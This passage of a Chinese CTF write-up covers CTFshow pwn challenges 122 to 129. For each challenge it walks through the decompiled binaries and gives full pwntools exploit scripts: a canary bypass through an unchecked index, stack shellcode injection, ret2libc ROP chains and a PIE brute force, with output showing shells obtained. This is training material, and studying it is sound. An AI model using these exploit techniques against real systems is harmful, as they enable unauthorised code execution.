if ( ptr )
{
sub_80484B0("The Flag is: %s\n", (const char *)ptr);
free(ptr);
ptr = 0;
sub_8048510("Done.");
}
else
{
sub_8048510("You have to input flag first!");
}
break;
case 7:
sub_8048510("Bye");
return 0;
default:
sub_8048510("Invalid!");
break;
}
}
}

看⼀下菜单:

int sub_8048B2E()
{
sub_8048510("*CTFshow flag Generator* ");
sub_8048510("1. Input Flag");
sub_8048510("2. Uppercase");
sub_8048510("3. Lowercase");
sub_8048510("4. Leetify");
sub_8048510("5. Add Prefix");
sub_8048510("6. Output Flag");
sub_8048510("7. Exit ");
sub_8048510("=========================");
sub_80484B0("Your choice: ");
return sub_804873E();
}
//sub_8048510→puts

对应7个分⽀分别对应7个选项

跟进选项sub_80488C6:

unsigned int __cdecl sub_80488C6(char *dest)
{
char *v1; // eax
char *v2; // eax
char *v3; // eax
_BYTE *v4; // eax
char *v5; // eax
char *v6; // eax
char *v7; // eax
char *v8; // eax
char *v9; // eax
char *v10; // eax
char *v11; // eax
char *p_src; // [esp+14h] [ebp-114h]
char *dest_1; // [esp+18h] [ebp-110h]
char src[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v16; // [esp+11Ch] [ebp-Ch]

v16 = __readgsdword(0x14u);
p_src = src;
for ( dest_1 = dest; *dest_1; ++dest_1 )
{
switch ( *dest_1 )
{
case 'A':
case 'a':
v1 = p_src++;
*v1 = 52;
break;
case 'B':
case 'b':
v2 = p_src++;
*v2 = 56;
break;
case 'E':
case 'e':
v3 = p_src++;
*v3 = 51;
break;
case 'H':
case 'h':
*p_src = 49;
p_src[1] = 45;
v4 = p_src + 2;
p_src += 3;
*v4 = 49;
break;
case 'I':
case 'i':
v5 = p_src++;
*v5 = 33;
break;
case 'L':
case 'l':
v6 = p_src++;
*v6 = 49;
break;
case 'O':
case 'o':
v7 = p_src++;
*v7 = 48;
break;
case 'S':
case 's':
v8 = p_src++;
*v8 = 53;
break;
case 'T':
case 't':
v9 = p_src++;
*v9 = 55;
break;
case 'Z':
case 'z':
v10 = p_src++;
*v10 = 50;
break;
default:
v11 = p_src++;
*v11 = *dest_1;
break;
}
}
*p_src = 0;
strcpy(dest, src);
return __readgsdword(0x14u) ^ v16;
}

可以看到将选项1读⼊的flag,传⼊到选项4的sub_80488C6函数中,flag中只要含有h或者H字符就会变成三个字符-> “1-1” ,可以利⽤这个进⾏栈溢出。然后函数结尾还有strcpy,将变换后的src字符串,拷⻉到dest指向的内存位置。然后由于栈溢出覆盖了canary,所以函数最后会触发stack_chk_fail函数。可以利⽤栈溢出,strcpy,和触发stack_chk_fail函数,以及搜集的ROPgadget,进⾏getshell

可以进⾏验证⼀下:

$ ./pwn
*CTFshow flag Generator*
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 1
abcdefghijklmn
Done.
*CTFshow flag Generator*
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 4
Done.
*CTFshow flag Generator*
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit
=========================
Your choice: 6
The Flag is: 48cd3fg1-1!jk1mn
Done.

其他的都是⼀个字符对应⼀个字符,只有h由原本的h变成了1-1

具体流程:

⾸先选1,输⼊flag,然后选4,将输⼊的flag中的h变成1-1字符串,在4选项进⼊的函数结尾处,strcpy,将ebp+8位置指向堆的指针地址,存到dest,将 从输⼊的flag中变化后的字符串 的起始地址传到src处,

将src处字符串拷⻉到dest处

由于 可以将h字符变⻓造成栈溢出,所以可以覆盖ebp+8位置的地址,

覆盖为stack_chk_fail的got地址。然后strcpy将src处的字符串拷⻉到stack_chk_fail的got地址处。

这⾥可以通过构造出泄漏出puts函数的地址,然后进⾏常规的rop,当然,还有更加简单的⽅法,这⾥⼤家可以⾃⾏尝试

from pwn import *
context.log_level = 'debug'
io = process('./pwn')

pwn123

Hint:Bypass Canary 姿势9

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位开启Canary保护NX保护,部分开启RELRO

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
logo();
whoareyou();
ctfshow();
seeyou();
return 0;
}

着重看whoareyou,ctfshow,seeyou这三个函数:

Whoareyou():

char *whoareyou()
{
puts("what's your name?");
return gets(name);
}

name在bss段:

.bss:0804B060                 public name
.bss:0804B060 ; char name[1024]
.bss:0804B060 name db 400h dup(?) ; DATA XREF: whoareyou+27↑o
.bss:0804B060 ; seeyou+14↑o

ctfshow():

unsigned int ctfshow()
{
int n9; // [esp+8h] [ebp-40h] BYREF
int n9_1; // [esp+Ch] [ebp-3Ch] BYREF
_DWORD p_n9[11]; // [esp+10h] [ebp-38h] BYREF
unsigned int v4; // [esp+3Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
for ( n9 = 0; n9 <= 9; ++n9 )
p_n9[n9 + 1] = 0;
while ( 1 )
{
puts("0 > exit");
puts("1 > edit number");
puts("2 > show number");
puts("3 > sum");
puts("4 > dump all numbers");
printf(" > ");
__isoc99_scanf("%d", p_n9); // 读取选项到p_n9[0]
switch ( p_n9[0] )
{
case 0:
return __readgsdword(0x14u) ^ v4;
case 1:
printf("Index to edit: ");
__isoc99_scanf("%d", &n9);
printf("How many? ");
__isoc99_scanf("%d", &n9_1);
p_n9[n9 + 1] = n9_1;
break;
case 2:
printf("Index to show: ");
__isoc99_scanf("%d", &n9);
printf("arr[%d] is %d\n", n9, p_n9[n9 + 1]);
break;
case 3:
n9_1 = 0;
for ( n9 = 0; n9 <= 9; ++n9 )
n9_1 += p_n9[n9 + 1];
printf("Sum is %d\n", n9_1);
break;
case 4:
for ( n9 = 0; n9 <= 9; ++n9 )
printf("arr[%d] is %d\n", n9, p_n9[n9 + 1]);
break;
default:
continue;
}
}
}
1(edit) 1. 读入n9(索引)和n9_1(数值); 2. p_n9[n9 + 1] = n9_1; 无索引检查:用户可输入任意n9(如n9=14),修改p_n9[15](返回地址)为后门地址。
2(show) 1. 读入n9(索引); 2. 打印p_n9[n9 + 1]的值 无索引检查:用户可输入n9=10,读取p_n9[11](Canary 值),实现 Canary 泄露。

数组首元素到返回地址的总字节偏移:

  1. 算总字节偏移:(ebp+4) - (ebp-0x38) = 0x3C
  2. 字节→实际索引:0x3C ÷4 =15(p_n9[15])
  3. 实际→逻辑索引:n9+1=15 →n9=14

存在后⻔函数init0():

int init0()
{
return system("/bin/sh");
}

所以我们只需要将arr[14]修改成后⻔函数地址即可get shell

from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = process('./pwn')
elf = ELF('./pwn')
init0 = elf.sym['init0']
io.sendlineafter(b"what's your name?",b'rhea')
io.recvuntil(b"4 > dump all numbers") #接收ctfshow()的菜单输出,直到出现最后一个选项(确保菜单加载完成)
io.sendlineafter(b" > ",b'1') #发送"1",选择ctfshow()的"edit number"功能(case1)
io.sendlineafter(b"Index to edit: ",b'14')
io.sendlineafter(b"How many? ",str(init0).encode()) #发送init0()的地址,将p_n9[15](返回地址)覆盖为后门地址
io.sendline(b'0') # 发送"0",选择ctfshow()的"exit"功能(case0),触发函数返回
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 90
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
0 > exit
1 > edit number
2 > show number
3 > sum
4 > dump all numbers
> $ ls
ctfshow_flag

pwn124

Hint:No NX 但是多了啥?

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位仅部分开启RELRO保护

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-Ah] [ebp-20h]
int v5; // [esp-6h] [ebp-1Ch]
char s1[14]; // [esp+0h] [ebp-16h] BYREF
int *p_argc; // [esp+Eh] [ebp-8h]

p_argc = &argc;
init();
logo();
__isoc99_scanf("%s", s1, v4, v5);
if ( !strcmp(s1, "CTFshowPWN") )
ctfshow(p_argc);
else
puts("Good Luck!~");
return 0;
}

先输⼊⼀个字符串,然后进⼊判断,如果输⼊的是”CTFshowPWN”就进⼊ctfshow函数,跟进ctfshow函数:

; int __cdecl ctfshow(_DWORD p_argc)
public ctfshow
proc near ; CODE XREF: main+57↓p

buf = byte ptr -3Ah
var_4 = dword ptr -4
p_argc = dword ptr 8

; __unwind {
push ebp
mov ebp, esp
push ebx
sub esp, 44h
call __x86_get_pc_thunk_ax
add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
sub esp, 4 #栈对齐
push 77h ; 'w' ; nbytes
lea edx, [ebp+buf]
push edx ; buf
push 0 ; fd
mov ebx, eax #保存GOT地址到EBX
call _read
add esp, 10h #清理栈上的参数(3个参数共12字节 + 之前的4字节对齐 = 16字节=0x10)
lea eax, [ebp+buf] #将buf的地址加载到EAX寄存器
call eax #调用EAX指向的地址(即执行buf中的内容)
nop
mov ebx, [ebp+var_4]
leave
retn
; } // starts at 804869E
ctfshow endp

ctfshow函数的核心逻辑是:读取用户输入(最多 119 字节)到栈上的缓冲区,然后直接执行缓冲区中的内容。由于程序关闭了 NX 保护(栈可执行),只需向该缓冲区注入 shellcode,即可通过call eax触发执行,最终获取 shell。

from pwn import *
context.log_level = 'debug'
io = process('./pwn')
shellcode = asm(shellcraft.sh())
io.sendline(b"CTFshowPWN")
io.send(shellcode)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 120
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : NX disabled & Has RWX segments
* *************************************
$ ls
ctfshow_flag

pwn125

Hint:开启了NX,看看汇编多了啥?

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位开启NX,部分开启RELRO

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
ctfshow();
return 0;
}

跟进ctfshow函数:

__int64 ctfshow()
{
_BYTE v1[8192]; // [rsp+0h] [rbp-2000h] BYREF

return __isoc99_scanf("%s", v1);
}

很明显存在缓冲区溢出漏洞[栈上为var_2000分配了0x2000(8192 字节)空间,但scanf会一直读入直到遇到空格 / 换行,完全不检查输入长度。],常规做法⼀般会如何去做?由于开启了NX,⼀般会考虑使⽤ROP去绕过NX,继续查看发现程序中有system函数地址,找到ez函数:

int ez()
{
return system("echo 'just_do_it!'");
}

常规做法这⾥不再概述,相信⼤家在前⾯练了这么多应该都会了,我们仔细查看汇编代码(看伪代码看不出来的地⽅):

; __int64 ctfshow()
public ctfshow
ctfshow proc near

var_2000= byte ptr -2000h

; __unwind {
push rbp
mov rbp, rsp
sub rsp, 2000h
lea rax, [rbp+var_2000]
mov rsi, rax
lea rdi, p__s ; "%s"
mov eax, 0
call ___isoc99_scanf
mov rdi, rsp
nop
leave
retn
; } // starts at 400760
ctfshow endp

发现这⾥多出了mov rdi,rsp,这不就是将 rdi 指向了scanf读⼊的数据在内存中的第⼀个位置?利⽤这⼀点可以很简单写⼊”/bin/sh\x00”

那么现在我们有了溢出漏洞,有了system,有了”/bin/sh“,就⾮常简单了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
call_system = 0x400672 #.text:0000000000400672 call _system
payload = b"/bin/sh\x00" + b'A'*(0x2000) + p64(call_system) #"/bin/sh\x00" + [垃圾数据填充到返回地址] + [system函数的地址]
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 154
[*] Switching to interactive mode
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Linux_Security_Mechanism_Bypass
* Site : https://ctf.show/
* Hint : Checking the assembly code may help you !
* *************************************
$ ls
ctfshow_flag

pwn126(ubuntu18)

Hint:

开启NX,但是如果ALSR = 0 会发生什么? [由于远程环境问题,关闭此保护容易引起Docker逃逸等问题,此处远程环境ALSR保护等级为2,但是可以在本地更改为0,并看有什么区别]

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位开启NX,部分开启RELRO

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("Let's go");
ctfshow();
return 0;
}

跟进ctfshow():

ssize_t ctfshow()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

return read(0, buf, 0x77u);
}

明显的栈溢出漏洞了,那么我们常规做法,也就是前⾯学习的过程中我们可以使⽤ret2libc轻松绕过

$ ROPgadget --binary ./pwn | grep "ret"
0x00000000004007a3 : pop rdi ; ret
0x00000000004004c6 : ret
### ret2libc ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x4007a3
ret = 0x4004c6

payload = cyclic(0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b"Let's go",payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']

payload = cyclic(0x40+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendlineafter(b"Let's go",payload)
io.recv()
io.interactive()

依据题⽬描述,我们可知远程环境的ALSR保护为2,我们先在本地改为0,可以发现,我们⽆需去进⾏泄漏地址,直接在gdb调试找到对应地址即可进⾏攻击。

$ gdb ./pwn
pwndbg> r
^c
pwndbg> cyclic(200)
pwndbg> c
...
#弄崩溃
pwndbg> ropper -- --search "pop rdi; ret;"
warning: Memory read failed for corefile section, 4096 bytes at 0xffffffffff600000.
Saved corefile /tmp/tmpsbm9741l
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;

[INFO] File: /tmp/tmpsbm9741l
0x00000000004007a3: pop rdi; ret;

pwndbg> ropper -- --search "ret;"
warning: Memory read failed for corefile section, 4096 bytes at 0xffffffffff600000.
Saved corefile /tmp/tmp4e9l8xcp
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret;

[INFO] File: /tmp/tmp4e9l8xcp
0x00000000004004c6: ret;

pwndbg> p system
$1 = {int (const char *)} 0x7ffff7df8750 <__libc_system>

pwndbg> search -t string "/bin/sh" libc
Searching for string: b'/bin/sh\x00'
libc.so.6 0x7ffff7f6b42f 0x68732f6e69622f /* '/bin/sh' */

pwndbg> x/s 0x7ffff7f6b42f
0x7ffff7f6b42f: "/bin/sh"
### ALSR = 0 ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = 0x7ffff7df8750
binsh = 0x7ffff7f6b42f
pop_rdi = 0x4007a3
ret = 0x4004c6

payload = cyclic(0x40+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
io.send(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 59
[*] '/PWN/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f7cc0123970
[*] Switching to interactive mode
$ ls

$ python3 exp.py
[+] Starting local process './pwn': pid 471
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn127

Hint:No PIE

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位开启NX,部分开启RELRO

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("See you again!");
ctfshow();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}

跟进ctfshow():

ssize_t ctfshow()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x100u);
}

同样的原理,未开启PIE时,仍然可以⽤ret2libc的⽅法,这⾥可以当作对前⾯题⽬的复习

$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
0x00000000004004fe : ret
### ret2libc ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400803
ret = 0x4004fe

payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b"See you again!",payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']

payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)
io.sendlineafter(b"See you again!",payload)
io.recv()
io.interactive()
#用write的话也可以
#0x0000000000400801 : pop rsi ; pop r15 ; ret
#payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(1)+ p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)
#payload = cyclic(0x80+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
$ python3 exp.py
[+] Starting local process './pwn': pid 90
[*] '/PWN/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7fd9980a3970
[*] Switching to interactive mode
$ ls

gdb调试

$ gdb ./pwn
pwndbg> r
^c
pwndbg> cyclic(200)
pwndbg> c
...
#弄崩溃
pwndbg> ropper -- --search "pop rdi; ret;"

pwndbg> ropper -- --search "ret;"

pwndbg> p system
$1 = {int (const char *)} 0x7ffff7df8750 <__libc_system>

pwndbg> search -t string "/bin/sh" libc
Searching for string: b'/bin/sh\x00'
libc.so.6 0x7ffff7f6b42f 0x68732f6e69622f /* '/bin/sh' */

pwndbg> x/s 0x7ffff7f6b42f
0x7ffff7f6b42f: "/bin/sh"
### ALSR = 0 ###
from pwn import *
context.log_level = 'debug'
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = 0x7ffff7df8750
binsh = 0x7ffff7f6b42f
pop_rdi = 0x400803
ret = 0x4004fe

payload = cyclic(0x40+8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
io.send(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 520
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn128[ASLR:0时本地能打通,试一下远程]

Hint:Bypass PIE(本地环境跟远程环境略有差别,请注意识别查看并修改exp)

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

64位开启NX,开启了PIE,部分开启RELRO

IDA查看main函数,跟进dopwn():

int __fastcall main(int argc, const char **argv, const char **envp)
{
puts(
"--------------------------------------------\n"
"| Welcome to CTFshow-PWN service |\n"
"--------------------------------------------");
dopwn(
"--------------------------------------------\n"
"| Welcome to CTFshow-PWN service |\n"
"--------------------------------------------");
return 0;
}

int __fastcall dopwn(__int64 p______________________________________________n____Welcome_to_CT)
{
_BYTE v2[140]; // [rsp+0h] [rbp-C0h] BYREF
_DWORD s_[13]; // [rsp+8Ch] [rbp-34h] BYREF

memset(s_, 0, 0x28u);
s_[10] = 140;
set_user(v2);
set_pwn(v2);
return puts("PWN delivered");
}
  • dopwn():初始化栈变量v2[140](偏移rbp-C0h)和s_[13](偏移rbp-34h

分别跟进set_user():

int __fastcall set_user(__int64 a1)
{
char s[140]; // [rsp+10h] [rbp-90h] BYREF
int n40; // [rsp+9Ch] [rbp-4h]

memset(s, 0, 0x80u);
puts("Enter your name");
printf("> ");
fgets(s, 128, _bss_start);
for ( n40 = 0; n40 <= 40 && s[n40]; ++n40 )
*(_BYTE *)(a1 + n40 + 140) = s[n40];
return printf("Hi, %s", (const char *)(a1 + 140));
}
  • 读取 128 字节用户名,将前 41 字节(n40=0~40)复制到v2+140~`v2+180,其中v2+180恰好是s_[10]strncpy`的长度参数)。

set_pwn():

char *__fastcall set_pwn(__int64 dest)
{
char s[1024]; // [rsp+10h] [rbp-400h] BYREF

memset(s, 0, sizeof(s));
puts("PWN our leader");
printf("> ");
fgets(s, 1024, _bss_start);
return strncpy((char *)dest, s, *(int *)(dest + 180));
}
  • 读取 1024 字节输入,通过strncpy(dest, s, dest+180)复制到v2长度由dest+180(即s_[10])控制—— 若修改s_[10]为大值,可触发栈溢出。

仔细查看发现存在后⻔函数GAME_OVER():

int GAME_OVER()
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF

fgets(s, 128, _bss_start);
return system(s);
}

这个程序开启了PIE保护,我们不能确定后⻔函数GAME_OVER()的具体地址,因此没办法直接通过溢出来跳转到后⻔函数GAME_OVER()。我们可以尝试爆破。

由于内存的⻚载⼊机制,PIE的随机化只能影响到单个内存⻚。通常来说,⼀个内存⻚⼤⼩为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个⼗六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位 (按字节写⼊,每字节8位)就可以快速爆破或者直接劫持EIP。查看汇编代码:

.text:0000000000000900 ; int GAME_OVER()
.text:0000000000000900 public GAME_OVER
.text:0000000000000900 GAME_OVER proc near
.text:0000000000000900
.text:0000000000000900 s = byte ptr -80h
.text:0000000000000900
.text:0000000000000900 ; __unwind {
.text:0000000000000900 push rbp
.text:0000000000000901 mov rbp, rsp
.text:0000000000000904 add rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000000908 mov rdx, cs:__bss_start ; stream
.text:000000000000090F lea rax, [rbp+s]
.text:0000000000000913 mov esi, 80h ; n
.text:0000000000000918 mov rdi, rax ; s
.text:000000000000091B call _fgets
.text:0000000000000920 lea rax, [rbp+s]
.text:0000000000000924 mov rdi, rax ; command
.text:0000000000000927 call _system
.text:000000000000092C nop
.text:000000000000092D leave
.text:000000000000092E retn
.text:000000000000092E ; } // starts at 900
.text:000000000000092E GAME_OVER endp

我们可以看到其地址后三位为0x900

但是由于我们的payload必须按字节写⼊,每个字节是两个⼗六进制数,所以我们必须输⼊两个字节。除去已知的0x900还需要爆破⼀个⼗六进制数。这个数只可能在0~0xf之间改变,因此爆破并空间不⼤。

我们知道爆破失败的话程序就会崩溃,此时io的连接会关闭,因此调⽤io.recv( )会触发⼀个EOFError。由于这个特性,我们可以使⽤python的try…except…来捕获这个错误并进⾏处理。

值得注意的是,由于没有刷新缓冲区,导致远程部署环境时回显信息会有差异,即没有及时显⽰,先让你输⼊,在两次输⼊过后才进⾏回显。

$ gdb ./pwn
pwndbg> info functions GAME_OVER
All functions matching regular expression "GAME_OVER":

Non-debugging symbols:
0x0000000000000900 GAME_OVER

pwndbg> r

> ^C

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x555555400000 0x555555401000 r-xp 1000 0 pwn

pwndbg> x/1i 0x555555400900
0x555555400900 <GAME_OVER>: push rbp

本地exp:

from pwn import *
context.update(arch='amd64', os='linux')
io = process('./pwn')

# 步骤1:通过set_user修改strncpy的长度参数(s_[10])
# 前40字节填充,第41字节修改为0xca(大于140即可,如0xca=202)
payload = b'a' * 40 + b'\xca'
io.recvuntil(b"Enter your name")
io.sendlineafter(b"> ",payload)

# 步骤2:通过set_pwn溢出覆盖返回地址到GAME_OVER()
# 先通过gdb调试获取本地GAME_OVER()的实际地址
# 计算偏移:v2到返回地址的距离是0xc8(200)字节
game_over_addr = 0x555555400900
payload = cyclic(0xc0+8) + p64(game_over_addr) # 填充到返回地址+覆盖返回地址

io.recvuntil(b"PWN our leader")
io.sendlineafter(b"> ",payload)

# 触发GAME_OVER()后发送shell命令
io.sendline(b'/bin/sh\x00')
io.interactive()

远程exp:

from pwn import *
context.update(arch = 'amd64', os = 'linux')
i = 0
while True:
i += 1
print(i)
io = process('./pwn')
#io.recv()
# 前40字节填充,第41字节修改为0xca(大于140即可,如0xca=202)
payload = b'a'*40
payload += b'\xca'
io.sendline(payload)
#io.recv()
payload = cyclic(0xc0+8)
payload += b'\x01\x09' #尝试覆盖函数返回地址的低 2 个字节
io.sendline(payload)
#io.recv()
try:
io.recv(timeout = 1)
except EOFError:
io.close()
continue
else:
sleep(0.1)
io.sendline(b'/bin/sh\x00')
sleep(0.1)
io.interactive()
break
$ python3 exp.py
1
[+] Starting local process './pwn': pid 570
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn129【先过】

Hint:Calc 1.0(远程环境:Ubuntu 16.04)

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

64位开启NX,开启了PIE,部分开启RELRO

IDA查看main函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3, __int64 a4, __int64 a5, __int64 a6)
{
int n2; // eax

sub_DDC(a1, a2, a3, a4, a5, a6, 0, 0, 0, 0);
sub_B69();
while ( 1 )
{
while ( 1 )
{
sub_DA5();
n2 = sub_B00();
if ( n2 != 2 )
break;
sub_D06();
}
if ( n2 == 3 )
break;
if ( n2 == 1 )
sub_B94();
else
puts("Wrong input");
}
sub_D92();
return 0;
}

sub_DDC进⾏数值初始化(init),sub_B69进⾏打印logo(logo)。

接下来进⼊⼀个while循环中,紧接着进⼊另⼀个while循环,调⽤sub_DA5函数打印菜单

int sub_DA5()
{
puts("1.RUN");
puts("2.SHELL");
puts("3.Abandon!");
return puts("Choice:");
}

然后调⽤sub_DB00函数,读⼊⼀个字符,若此字符⼩于等于0则返回-1,否则,将字符⽤strtol函数强转为⼗进制数据,然后返回。返回值赋值给main函数的局部变量n2。若n2不为2则结束当前while循环,否则,调⽤sub_D06函数:

__int64 sub_B00()
{
_QWORD buf[4]; // [rsp+0h] [rbp-20h] BYREF

memset(buf, 0, sizeof(buf));
if ( read(0, buf, 0x1Fu) > 0 )
return strtol((const char *)buf, 0, 10);
else
return -1;
}

int sub_D06()
{
char s_[264]; // [rsp+8h] [rbp-108h] BYREF

if ( unk_20208C )
sprintf(s_, "Hint: %p\n", &system);
else
strcpy(s_, "NO PWN NO FUN");
return puts(s_);
}

会输出system函数的地址。

接下来就是第⼆层while循环下⾯的语句:

若刚刚读⼊数字n2不为3则结束循环,若n2不为1则打印字符串并继续最外层的while循环。

若n2为1,则进⼊sub_B94函数:

int sub_B94()
{
__int64 v1; // [rsp+0h] [rbp-120h]
int v2; // [rsp+8h] [rbp-118h]
int v3; // [rsp+Ch] [rbp-114h]
__int64 v4; // [rsp+10h] [rbp-110h]
__int64 n99; // [rsp+10h] [rbp-110h]
unsigned int n100; // [rsp+18h] [rbp-108h]
char s_[256]; // [rsp+20h] [rbp-100h] BYREF

puts("How many doubts?");
v1 = sub_B00();
if ( v1 > 0 )
v4 = v1;
else
puts("Loser.");
puts("Any more?");
n99 = v4 + sub_B00();
if ( n99 > 0 )
{
if ( n99 <= 99 )
{
n100 = n99;
}
else
{
puts("You are being a real man.");
n100 = 100;
}
puts("Let's go! ");
v2 = time(0);
if ( (unsigned int)sub_E43(n100) )
{
v3 = time(0);
